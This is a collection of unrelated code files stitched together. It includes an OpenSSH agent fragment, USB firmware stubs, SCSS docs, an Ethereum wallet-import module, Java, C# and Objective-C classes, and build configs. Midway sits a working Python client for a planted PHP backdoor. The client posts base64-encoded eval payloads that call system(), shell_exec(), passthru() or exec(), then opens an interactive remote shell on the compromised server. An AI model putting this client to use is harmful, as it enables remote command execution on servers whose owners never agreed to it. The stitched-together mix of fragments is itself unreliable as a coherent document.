			perror("mkdtemp: private socket dir");
			exit(1);
		}
		snprintf(socket_name, sizeof socket_name, "%s/agent.%ld", socket_dir,
		    (long)parent_pid);
#endif /* else WIN32_FIXME */
	} else {
		/* Try to use specified agent socket */
		socket_dir[0] = '\0';
		strlcpy(socket_name, agentsocket, sizeof socket_name);
	}

	/*
	 * Create socket early so it will exist before command gets run from
	 * the parent.
	 */

#ifdef WIN32_FIXME

  /*
   * On Windows parent process only generate name for socket file. Socket
   * is realy created in child process.
   *
   * d_flag means debug mode. In this case there is no child process, all
   * work is done in parent, so we creates socket too.
   */

  if (InsideChild || d_flag)
  {

#endif /* !WIN32_FIXME */

	sock = socket(AF_UNIX, SOCK_STREAM, 0);

#ifdef WIN32_FIXME

  Socket = sock;

#endif /* !WIN32_FIXME */

	if (sock < 0) {
		perror("socket");
		*socket_name = '\0'; /* Don't unlink any existing file */
		cleanup_exit(1);
	}
	memset(&sunaddr, 0, sizeof(sunaddr));
	sunaddr.sun_family = AF_UNIX;
	strlcpy(sunaddr.sun_path, socket_name, sizeof(sunaddr.sun_path));
	prev_mask = umask(0177);
	if (bind(sock, (struct sockaddr *) &sunaddr, sizeof(sunaddr)) < 0) {
		perror("bind");
		*socket_name = '\0'; /* Don't unlink any existing file */
		umask(prev_mask);
		cleanup_exit(1);
	}
	umask(prev_mask);
	if (listen(sock, SSH_LISTEN_BACKLOG) < 0) {
		perror("listen");
		cleanup_exit(1);
	}

#ifdef WIN32_FIXME
  }
#endif

	/*
	 * Fork, and have the parent execute the command, if any, or present
	 * the socket data.  The child continues as the authentication agent.
	 */
	if (d_flag) {
		log_init(__progname, SYSLOG_LEVEL_DEBUG1, SYSLOG_FACILITY_AUTH, 1);

#ifdef WIN32_FIXME
    format = c_flag ? "setenv %s %s;\n" : "set %s=%s\n";
#else
		format = c_flag ? "setenv %s %s;\n" : "%s=%s; export %s;\n";
#endif

		printf(format, SSH_AUTHSOCKET_ENV_NAME, socket_name,
		    SSH_AUTHSOCKET_ENV_NAME);
		printf("echo Agent pid %ld;\n", (long)parent_pid);
		goto skip;
	}
	pid = fork();
	if (pid == -1) {
		perror("fork");
		cleanup_exit(1);
	}
	if (pid != 0) {		/* Parent - execute the given command. */
		close(sock);
		snprintf(pidstrbuf, sizeof pidstrbuf, "%ld", (long)pid);
		if (ac == 0) {

#ifdef WIN32_FIXME
      format = c_flag ? "setenv %s %s;\n" : "set %s=%s\n";
#else
			format = c_flag ? "setenv %s %s;\n" : "%s=%s; export %s;\n";
#endif

			printf(format, SSH_AUTHSOCKET_ENV_NAME, socket_name,
			    SSH_AUTHSOCKET_ENV_NAME);
			printf(format, SSH_AGENTPID_ENV_NAME, pidstrbuf,
			    SSH_AGENTPID_ENV_NAME);
			printf("echo Agent pid %ld;\n", (long)pid);
			exit(0);
		}
		if (setenv(SSH_AUTHSOCKET_ENV_NAME, socket_name, 1) == -1 ||
		    setenv(SSH_AGENTPID_ENV_NAME, pidstrbuf, 1) == -1) {
			perror("setenv");
			exit(1);
		}

#ifdef WIN32_FIXME
   _execvp((const char *) av[0], (const char **) av);
#else
		execvp(av[0], av);
#endif

		perror(av[0]);
		exit(1);
	}
	/* child */
	log_init(__progname, SYSLOG_LEVEL_INFO, SYSLOG_FACILITY_AUTH, 0);

#ifndef WIN32_FIXME
	if (setsid() == -1) {
		error("setsid: %s", strerror(errno));
		cleanup_exit(1);
	}
#endif

	(void)chdir("/");
	if ((fd = open(_PATH_DEVNULL, O_RDWR, 0)) != -1) {
		/* XXX might close listen socket */
		(void)dup2(fd, STDIN_FILENO);
		(void)dup2(fd, STDOUT_FILENO);
		(void)dup2(fd, STDERR_FILENO);
		if (fd > 2)
			close(fd);
	}

#ifdef HAVE_SETRLIMIT
	/* deny core dumps, since memory contains unencrypted private keys */
	rlim.rlim_cur = rlim.rlim_max = 0;
	if (setrlimit(RLIMIT_CORE, &rlim) < 0) {
		error("setrlimit RLIMIT_CORE: %s", strerror(errno));
		cleanup_exit(1);
	}
#endif

skip:

#ifdef ENABLE_PKCS11
	pkcs11_init(0);
#endif
	new_socket(AUTH_SOCKET, sock);
	if (ac > 0)
		parent_alive_interval = 10;
	idtab_init();

#ifndef WIN32_FIXME
	signal(SIGPIPE, SIG_IGN);
	signal(SIGINT, d_flag ? cleanup_handler : SIG_IGN);
	signal(SIGHUP, cleanup_handler);
	signal(SIGTERM, cleanup_handler);
#endif

	nalloc = 0;

	while (1) {
		prepare_select(&readsetp, &writesetp, &max_fd, &nalloc, &tvp);
		result = select(max_fd + 1, readsetp, writesetp, NULL, tvp);
		saved_errno = errno;
		if (parent_alive_interval != 0)
			check_parent_exists();
		(void) reaper();	/* remove expired keys */
		if (result < 0) {
			if (saved_errno == EINTR)
				continue;
			fatal("select: %s", strerror(saved_errno));
		} else if (result > 0)
			after_select(readsetp, writesetp);
	}
	/* NOTREACHED */
}


text:
#include <fx2macros.h>

#ifdef DEBUG_FIRMWARE
#include <stdio.h>
#else
#define printf(...)
#endif

BOOL handle_get_descriptor() {

}

//************************** Configuration Handlers *****************************

// change to support as many interfaces as you need
//volatile xdata BYTE interface=0;
//volatile xdata BYTE alt=0; // alt interface

// set *alt_ifc to the current alt interface for ifc
BOOL handle_get_interface(BYTE ifc, BYTE* alt_ifc) {
// *alt_ifc=alt;
 return TRUE;
}
// return TRUE if you set the interface requested
// NOTE this function should reconfigure and reset the endpoints
// according to the interface descriptors you provided.
BOOL handle_set_interface(BYTE ifc,BYTE alt_ifc) {
 printf ( "Set Interface.\n" );
 //interface=ifc;
 //alt=alt_ifc;
 return TRUE;
}

// handle getting and setting the configuration
// 1 is the default.  If you support more than one config
// keep track of the config number and return the correct number
// config numbers are set int the dscr file.
//volatile BYTE config=1;
BYTE handle_get_configuration() {
 return 1;
}

// NOTE changing config requires the device to reset all the endpoints
BOOL handle_set_configuration(BYTE cfg) {
 printf ( "Set Configuration.\n" );
 //config=cfg;
 return TRUE;
}

//******************* VENDOR COMMAND HANDLERS **************************

BOOL handle_vendorcommand(BYTE cmd) {
 // your custom vendor handler code here..
 return FALSE; // not handled by handlers
}

//********************  INIT ***********************

void main_init() {

 REVCTL=3;
 SETIF48MHZ();

 // set IFCONFIG
 // config your endpoints etc.
 // config gpif

 printf ( "Initialization Done.\n" );

}

void main_loop() {
 // do some work
}


text:
Reverse a gradient by passing in a `linear-gradient()` function. This function makes it easy to quickly reverse gradients you have set up in variables.

```scss
reverse-gradient($gradient);
```

## Parameters

### $gradient [String]

Takes a `linear-gradient()` as its value.

## Usage

```scss
$gradient: linear-gradient(to top right, blue, red, green 100%);

.example {
    background: reverse-gradient($gradient);
}
```

## Output

```scss
.example {
    background: linear-gradient(to bottom left, blue, red, green 100%);
}
```


text:
tinyMCE.addToLang('',{
preview_desc : 'Pré-visualização'
});


text: Repository of meteor projects created on the coursera course.


text:
package org.apache.shardingsphere.test.sql.parser.parameterized.jaxb.cases.domain.statement.distsql.rql;

import lombok.Getter;
import lombok.Setter;
import org.apache.shardingsphere.test.sql.parser.parameterized.jaxb.cases.domain.segment.impl.schema.ExpectedSchema;
import org.apache.shardingsphere.test.sql.parser.parameterized.jaxb.cases.domain.statement.SQLParserTestCase;

import javax.xml.bind.annotation.XmlAttribute;
import javax.xml.bind.annotation.XmlElement;

/**
 * Show rules used resource statement test case.
 */
@Getter
@Setter
public final class ShowRulesUsedResourceStatementTestCase extends SQLParserTestCase {

    @XmlAttribute(name = "resource-name")
    private String resourceName;

    @XmlElement
    private ExpectedSchema schema;
}


text:
namespace System.CodeDom
{

#if CONFIG_CODEDOM

using System.Runtime.InteropServices;
using System.Collections;
using System.Collections.Specialized;

[Serializable]
#if CONFIG_COM_INTEROP
[ClassInterface(ClassInterfaceType.AutoDispatch)]
[ComVisible(true)]
#endif
public class CodeLinePragma
{

	// Internal state.
	private String _FileName;
	private int _LineNumber;

	// Constructors.
	public CodeLinePragma(String _FileName, int _LineNumber)
			{
				this._FileName = _FileName;
				this._LineNumber = _LineNumber;
			}

	// Properties.
	public String FileName
			{
				get
				{
					return _FileName;
				}
				set
				{
					_FileName = value;
				}
			}
	public int LineNumber
			{
				get
				{
					return _LineNumber;
				}
				set
				{
					_LineNumber = value;
				}
			}

}; // class CodeLinePragma

#endif // CONFIG_CODEDOM

}; // namespace System.CodeDom


text:
var Wallet = require('./index.js')
var ethUtil = require('ethereumjs-util')
var crypto = require('crypto')
var scryptsy = require('scrypt.js')
var utf8 = require('utf8')
var aesjs = require('aes-js')

function assert (val, msg) {
  if (!val) {
    throw new Error(msg || 'Assertion failed')
  }
}

function decipherBuffer (decipher, data) {
  return Buffer.concat([ decipher.update(data), decipher.final() ])
}

var Thirdparty = {}

/*
 * opts:
 * - digest - digest algorithm, defaults to md5
 * - count - hash iterations
 * - keysize - desired key size
 * - ivsize - desired IV size
 *
 * Algorithm form https://www.openssl.org/docs/manmaster/crypto/EVP_BytesToKey.html
 *
 * FIXME: not optimised at all
 */
function evp_kdf (data, salt, opts) {
  // A single EVP iteration, returns `D_i`, where block equlas to `D_(i-1)`
  function iter (block) {
    var hash = crypto.createHash(opts.digest || 'md5')
    hash.update(block)
    hash.update(data)
    hash.update(salt)
    block = hash.digest()

    for (var i = 1; i < (opts.count || 1); i++) {
      hash = crypto.createHash(opts.digest || 'md5')
      hash.update(block)
      block = hash.digest()
    }

    return block
  }

  var keysize = opts.keysize || 16
  var ivsize = opts.ivsize || 16

  var ret = []

  var i = 0
  while (Buffer.concat(ret).length < (keysize + ivsize)) {
    ret[i] = iter((i === 0) ? new Buffer(0) : ret[i - 1])
    i++
  }

  var tmp = Buffer.concat(ret)

  return {
    key: tmp.slice(0, keysize),
    iv: tmp.slice(keysize, keysize + ivsize)
  }
}

// http://stackoverflow.com/questions/25288311/cryptojs-aes-pattern-always-ends-with
function decodeCryptojsSalt (input) {
  var ciphertext = new Buffer(input, 'base64')
  if (ciphertext.slice(0, 8).toString() === 'Salted__') {
    return {
      salt: ciphertext.slice(8, 16),
      ciphertext: ciphertext.slice(16)
    }
  } else {
    return {
      ciphertext: ciphertext
    }
  }
}

/*
 * This wallet format is created by https://github.com/SilentCicero/ethereumjs-accounts
 * and used on https://www.myetherwallet.com/
 */
Thirdparty.fromEtherWallet = function (input, password) {
  var json = (typeof input === 'object') ? input : JSON.parse(input)

  var privKey
  if (!json.locked) {
    if (json.private.length !== 64) {
      throw new Error('Invalid private key length')
    }

    privKey = new Buffer(json.private, 'hex')
  } else {
    if (typeof password !== 'string') {
      throw new Error('Password required')
    }
    if (password.length < 7) {
      throw new Error('Password must be at least 7 characters')
    }

    // the "encrypted" version has the low 4 bytes
    // of the hash of the address appended
    var cipher = json.encrypted ? json.private.slice(0, 128) : json.private

    // decode openssl ciphertext + salt encoding
    cipher = decodeCryptojsSalt(cipher)

    if (!cipher.salt) {
      throw new Error('Unsupported EtherWallet key format')
    }

    // derive key/iv using OpenSSL EVP as implemented in CryptoJS
    var evp = evp_kdf(new Buffer(password), cipher.salt, { keysize: 32, ivsize: 16 })

    var decipher = crypto.createDecipheriv('aes-256-cbc', evp.key, evp.iv)
    privKey = decipherBuffer(decipher, new Buffer(cipher.ciphertext))

    // NOTE: yes, they've run it through UTF8
    privKey = new Buffer(utf8.decode(privKey.toString()), 'hex')
  }

  var wallet = new Wallet(privKey)

  if (wallet.getAddressString() !== json.address) {
    throw new Error('Invalid private key or address')
  }

  return wallet
}

Thirdparty.fromEtherCamp = function (passphrase) {
  return new Wallet(ethUtil.sha3(new Buffer(passphrase)))
}

Thirdparty.fromKryptoKit = function (entropy, password) {
  function kryptoKitBrokenScryptSeed (buf) {
    // js-scrypt calls `new Buffer(String(salt), 'utf8')` on the seed even though it is a buffer
    //
    // The `buffer`` implementation used does the below transformation (doesn't matches the current version):
    // https://github.com/feross/buffer/blob/67c61181b938b17d10dbfc0a545f713b8bd59de8/index.js

    function decodeUtf8Char (str) {
      try {
        return decodeURIComponent(str)
      } catch (err) {
        return String.fromCharCode(0xFFFD) // UTF 8 invalid char
      }
    }

    var res = ''
    var tmp = ''

    for (var i = 0; i < buf.length; i++) {
      if (buf[i] <= 0x7F) {
        res += decodeUtf8Char(tmp) + String.fromCharCode(buf[i])
        tmp = ''
      } else {
        tmp += '%' + buf[i].toString(16)
      }
    }

    return new Buffer(res + decodeUtf8Char(tmp))
  }

  if (entropy[0] === '#') {
    entropy = entropy.slice(1)
  }

  var type = entropy[0]
  entropy = entropy.slice(1)

  var privKey
  if (type === 'd') {
    privKey = ethUtil.sha256(entropy)
  } else if (type === 'q') {
    if (typeof password !== 'string') {
      throw new Error('Password required')
    }

    var encryptedSeed = ethUtil.sha256(new Buffer(entropy.slice(0, 30)))
    var checksum = entropy.slice(30, 46)

    var salt = kryptoKitBrokenScryptSeed(encryptedSeed)
    var aesKey = scryptsy(new Buffer(password, 'utf8'), salt, 16384, 8, 1, 32)

    /* FIXME: try to use `crypto` instead of `aesjs`

    // NOTE: ECB doesn't use the IV, so it can be anything
    var decipher = crypto.createDecipheriv("aes-256-ecb", aesKey, new Buffer(0))

    // FIXME: this is a clear abuse, but seems to match how ECB in aesjs works
    privKey = Buffer.concat([
      decipher.update(encryptedSeed).slice(0, 16),
      decipher.update(encryptedSeed).slice(0, 16),
    ])
    */

    /* eslint-disable new-cap */
    var decipher = new aesjs.ModeOfOperation.ecb(aesKey)
    /* eslint-enable new-cap */
    privKey = Buffer.concat([
      decipher.decrypt(encryptedSeed.slice(0, 16)),
      decipher.decrypt(encryptedSeed.slice(16, 32))
    ])

    if (checksum.length > 0) {
      if (checksum !== ethUtil.sha256(ethUtil.sha256(privKey)).slice(0, 8).toString('hex')) {
        throw new Error('Failed to decrypt input - possibly invalid passphrase')
      }
    }
  } else {
    throw new Error('Unsupported or invalid entropy type')
  }

  return new Wallet(privKey)
}

Thirdparty.fromQuorumWallet = function (passphrase, userid) {
  assert(passphrase.length >= 10)
  assert(userid.length >= 10)

  var seed = passphrase + userid
  seed = crypto.pbkdf2Sync(seed, seed, 2000, 32, 'sha256')

  return new Wallet(seed)
}

module.exports = Thirdparty


text:
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="ProjectModuleManager">
    <modules>
      <module fileurl="file://$PROJECT_DIR$/LittleBus.iml" filepath="$PROJECT_DIR$/LittleBus.iml" />
      <module fileurl="file://$PROJECT_DIR$/appSample/appSample.iml" filepath="$PROJECT_DIR$/appSample/appSample.iml" />
      <module fileurl="file://$PROJECT_DIR$/buscompiler/buscompiler.iml" filepath="$PROJECT_DIR$/buscompiler/buscompiler.iml" />
      <module fileurl="file://$PROJECT_DIR$/buslibrary/buslibrary.iml" filepath="$PROJECT_DIR$/buslibrary/buslibrary.iml" />
    </modules>
  </component>
</project>


text:
<!DOCTYPE html>

  <link rel="stylesheet" href="../css/jspsych.css"></link>


text:
//  Copyright (c) 2021 Alachisoft
//
//  Licensed under the Apache License, Version 2.0 (the "License");
//  you may not use this file except in compliance with the License.
//  You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
//  Unless required by applicable law or agreed to in writing, software
//  distributed under the License is distributed on an "AS IS" BASIS,
//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//  See the License for the specific language governing permissions and
//  limitations under the License
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//
//#if !DEBUG
[assembly: CLSCompliant(true)]
//#endif
[assembly: AssemblyTitle("Alachisoft.NCache.Instrumentation")]

[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Alachisoft")]

[assembly: AssemblyProduct("Alachisoft® NCache OpenSource")]

[assembly: AssemblyTrademark("NCache ™ is a registered trademark of Alachisoft.")]

[assembly: AssemblyCopyright("Copyright © 2005-2021 Alachisoft")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components.  If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("551d6c39-2b60-4761-a519-75228c9cdc4a")]

// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the values or you can default the Revision and Build Numbers
// by using the '*' as shown below:

[assembly: AssemblyVersion("5.0.0")]

//
// In order to sign your assembly you must specify a key to use. Refer to the
// Microsoft .NET Framework documentation for more information on assembly signing.
//
// Use the attributes below to control which key is used for signing.
//
// Notes:
//   (*) If no key is specified, the assembly is not signed.
//   (*) KeyName refers to a key that has been installed in the Crypto Service
//       Provider (CSP) on your machine. KeyFile refers to a file which contains
//       a key.
//   (*) If the KeyFile and the KeyName values are both specified, the
//       following processing occurs:
//       (1) If the KeyName can be found in the CSP, that key is used.
//       (2) If the KeyName does not exist and the KeyFile does exist, the key
//           in the KeyFile is installed into the CSP and used.
//   (*) In order to create a KeyFile, you can use the sn.exe (Strong Name) utility.
//       When specifying the KeyFile, the location of the KeyFile should be
//       relative to the project output directory which is
//       %Project Directory%\obj\<configuration>. For example, if your KeyFile is
//       located in the project directory, you would specify the AssemblyKeyFile
//       attribute as [assembly: AssemblyKeyFile("..\\..\\mykey.snk")]
//   (*) Delay Signing is an advanced option - see the Microsoft .NET Framework
//       documentation for more information on this.
//
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyKeyName("")]
[assembly: AssemblyFileVersionAttribute("5.0.5.0")]
[assembly: AssemblyDescriptionAttribute("WMI Statistics Publisher")]
[assembly: AssemblyInformationalVersion("5.0.0")]


text:
import requests
import sys

if (len(sys.argv) != 2):
    print "Usage: " + sys.argv[0] + " <url of backdoor>"
    print "Example: " + sys.argv[0] + " http://localhost/odd.php"
    sys.exit(0)

url = sys.argv[1]
tester = """echo w00tw00tw00t"""
testkey = """w00tw00tw00t"""
print "\n[+] URL in use: %s \n" %(url)

###                      ###
# Whole Bunch of Functions #
###                      ###
def genphp(func, cmd):
    if func == "system":
        rawphp = """system('%s');""" %(cmd)
    elif func == "shellexec":
        rawphp = """echo shell_exec('%s');""" %(cmd)
    elif func == "passthru":
        rawphp = """passthru('%s');""" %(cmd)
    elif func == "exec":
        rawphp = """echo exec('%s');""" %(cmd)
    encodedphp = rawphp.encode('base64')
    payload = """<?php eval(base64_decode('%s')); ?>""" %(encodedphp)
    return payload

def test(url, tester, testkey): # This whole function is ugly as sin
    print "[+] Testing system()" # I need to make it tighter
    payload = genphp('system', tester) # No, really. Look at the waste
    r = requests.post(url, payload) # It could be TIIINY and fast!
    if testkey in r.text:
        print "[+] system() works, using system."
        func = 'system'
        return func
    else:
        print "[-] system() seems disabled :("
        pass
    print "[+] Testing shell_exec()" # LOOK AT THE FORKING CODE REUSE
    payload = genphp('shellexec', tester) # THIS COULD BE TINY
    r = requests.post(url, payload)  # But. Coffee is lacking
    if testkey in r.text:
        print "[+] shell_exec() works, using shell_exec"
        func = 'shellexec'
        return func
    else:
        print "[-] shell_exec() seems disabled :("
        pass
    print "[+] Testing passthru()"
    payload = genphp('passthru', tester)
    r = requests.post(url, payload)
    if testkey in r.text:
        print "[+] passthru() works, using passthru"
        func = 'passthru'
        return func
    else:
        print "[-] passthru() seems disabled :("
        pass
    print "[+] Testing exec()"
    payload = genphp('exec', tester)
    r = requests.post(url, payload)
    if testkey in r.text:
        print "[+] exec() works, using exec"
        func = 'exec'
        return func
    else:
        print "[-] exec() seems disabled :("
        pass

###                                        ###
# End of functions and object oriented stuff #
###                                        ###

# the main body
func = test(url, tester, testkey)
while True:
    try:
        cmd = raw_input("shell:~$ ")
        if cmd == "quit":
            print "\n[-] Quitting"
            sys.exit(0)
        elif cmd == "exit":
            print "\n[-] Quitting"
            sys.exit(0)
        else:
            try:
                payload = genphp(func, cmd)
                hax = requests.post(url, payload)
                print hax.text
            except Exception or KeyboardInterrupt:
                print "[-] Exception Caught, I hope"
                sys.exit(0)
    except Exception or KeyboardInterrupt:
        print "[-] Exception or CTRL+C Caught, I hope"
        print "[-] Exiting (hopefully) cleanly..."
        sys.exit(0)


text:
@interface ARSlefCheckInfoViewController : UIViewController
@property (strong,nonatomic) DeviceModel *deviceModel;
@end


text:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

  <modelVersion>4.0.0</modelVersion>
  <groupId>com.github.project-flink</groupId>
  <version>0.1-SNAPSHOT</version>
  <artifactId>flink-perf</artifactId>
  <name>flink-perf</name>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>

  <packaging>pom</packaging>
  <modules>
    <module>flink-jobs</module>
    <module>spark-jobs</module>
    <module>hadoop-jobs</module>
    <module>perf-common</module>
  </modules>

  <build>
    <pluginManagement>
      <plugins>

        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.2</version>
          <configuration>
            <source>1.6</source>
            <target>1.6</target>
          </configuration>
        </plugin>

        <!--<plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-assembly-plugin</artifactId>
          <version>2.2</version>
          <configuration>
            <appendAssemblyId>false</appendAssemblyId>
            <descriptorRefs>
              <descriptorRef>jar-with-dependencies</descriptorRef>
            </descriptorRefs>
          </configuration>
          <executions>
            <execution>
              <id>make-assembly</id>
              <phase>package</phase>
              <goals>
                <goal>single</goal>
              </goals>
            </execution>
          </executions>
        </plugin> -->

        <plugin>
          <groupId>net.alchim31.maven</groupId>
          <artifactId>scala-maven-plugin</artifactId>
          <version>3.1.4</version>
          <executions>
            <!-- Run scala compiler in the process-resources phase, so that dependencies on
				scala classes can be resolved later in the (Java) compile phase -->
            <execution>
              <id>scala-compile-first</id>
              <phase>process-resources</phase>
              <goals>
                <goal>compile</goal>
              </goals>
            </execution>

            <!-- Run scala compiler in the process-test-resources phase, so that dependencies on
				 scala classes can be resolved later in the (Java) test-compile phase -->
            <execution>
              <id>scala-test-compile</id>
              <phase>process-test-resources</phase>
              <goals>
                <goal>testCompile</goal>
              </goals>
            </execution>
          </executions>
          <configuration>
            <jvmArgs>
              <jvmArg>-Xms128m</jvmArg>
              <jvmArg>-Xmx512m</jvmArg>
            </jvmArgs>
          </configuration>
        </plugin>

        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-failsafe-plugin</artifactId>
          <version>2.7</version>
          <configuration>
            <systemPropertyVariables>
              <log.level>WARN</log.level>
            </systemPropertyVariables>
            <forkMode>always</forkMode>
            <threadCount>1</threadCount>
            <perCoreThreadCount>false</perCoreThreadCount>
          </configuration>
        </plugin>

        <!-- Eclipse Integration -->
        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-eclipse-plugin</artifactId>
          <version>2.8</version>
          <configuration>
            <downloadSources>true</downloadSources>
            <projectnatures>
              <projectnature>org.scala-ide.sdt.core.scalanature</projectnature>
              <projectnature>org.eclipse.jdt.core.javanature</projectnature>
            </projectnatures>
            <buildcommands>
              <buildcommand>org.scala-ide.sdt.core.scalabuilder</buildcommand>
            </buildcommands>
            <classpathContainers>
              <classpathContainer>org.scala-ide.sdt.launching.SCALA_CONTAINER</classpathContainer>
              <classpathContainer>org.eclipse.jdt.launching.JRE_CONTAINER</classpathContainer>
            </classpathContainers>
            <excludes>
              <exclude>org.scala-lang:scala-library</exclude>
              <exclude>org.scala-lang:scala-compiler</exclude>
            </excludes>
            <sourceIncludes>
              <sourceInclude>**/*.scala</sourceInclude>
              <sourceInclude>**/*.java</sourceInclude>
            </sourceIncludes>
          </configuration>
        </plugin>

        <!-- Adding scala source directories to build path -->
        <plugin>
          <groupId>org.codehaus.mojo</groupId>
          <artifactId>build-helper-maven-plugin</artifactId>
          <version>1.7</version>
          <executions>
            <!-- Add src/main/scala to eclipse build path -->
            <execution>
              <id>add-source</id>
              <phase>generate-sources</phase>
              <goals>
                <goal>add-source</goal>
              </goals>
              <configuration>
                <sources>
                  <source>src/main/scala</source>
                </sources>
              </configuration>
            </execution>
            <!-- Add src/test/scala to eclipse build path -->
            <execution>
              <id>add-test-source</id>
              <phase>generate-test-sources</phase>
              <goals>
                <goal>add-test-source</goal>
              </goals>
              <configuration>
                <sources>
                  <source>src/test/scala</source>
                </sources>
              </configuration>
            </execution>
          </executions>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>


text:
#import <UIKit/UIKit.h>

@class ZXSliderViewController;

@protocol ZXSliderViewControllerDelegate <NSObject>
- (void)slider:(ZXSliderViewController *)aController didChangeValue:(float)value;
@end

@interface ZXSliderViewController : UIViewController {
    float value;
    float minimumValue;
    float maximumValue;
    UISlider *slider;
    UITextField *valueField;
    NSString *valueFieldFormat;
    id<ZXSliderViewControllerDelegate> __unsafe_unretained delegate;
}

@property (nonatomic, strong) IBOutlet UISlider *slider;
@property (nonatomic, strong) IBOutlet UITextField *valueField;
@property (nonatomic, copy) NSString *valueFieldFormat; // format string for valueField.text using slider.value. default is @"%.1f"
@property (nonatomic, unsafe_unretained) IBOutlet id<ZXSliderViewControllerDelegate> delegate;

// forwarding to slider when setting.
@property (nonatomic) float value;
@property (nonatomic) float minimumValue;
@property (nonatomic) float maximumValue;

- (void)synchronizeValue;

@end


text:
<!DOCTYPE html>

    <meta charset="utf-8"/>
    <title>DoubleGauge - Okanshi</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <meta name="description" content=""/>
    <meta name="author" content="Kim Christensen, Kasper B. Graversen"/>

    <link href="https://netdna.bootstrapcdn.com/twitter-bootstrap/2.2.1/css/bootstrap-combined.min.css" rel="stylesheet"/>

    <link type="text/css" rel="stylesheet" href="/Okanshi/content/style.css" />

fsharp.org

github page

Okanshi

DoubleGauge

    Namespace: Okanshi

A gauge that reports a double value

Constructors

Constructor	Description

            new(config)

            Signature: config:MonitorConfig -> DoubleGauge

CompiledName: .ctor

Instance members

Instance member	Description

            Config

            Signature: MonitorConfig

Gets the monitor configuration

CompiledName: get_Config

            GetValues()

            Signature: unit -> seq<Measurement<float>>

Gets the current value

            GetValuesAndReset()

            Signature: unit -> seq<Measurement<float>>

Gets the value and resets the monitor

            Reset()

            Signature: unit -> unit

Reset the gauge

            Set(newValue)

            Signature: newValue:float -> unit

Sets the value

Okanshi

Home page

Get Library via NuGet

Source Code on GitHub

License

Release Notes

Getting started

Sample tutorial

Documentation

API Reference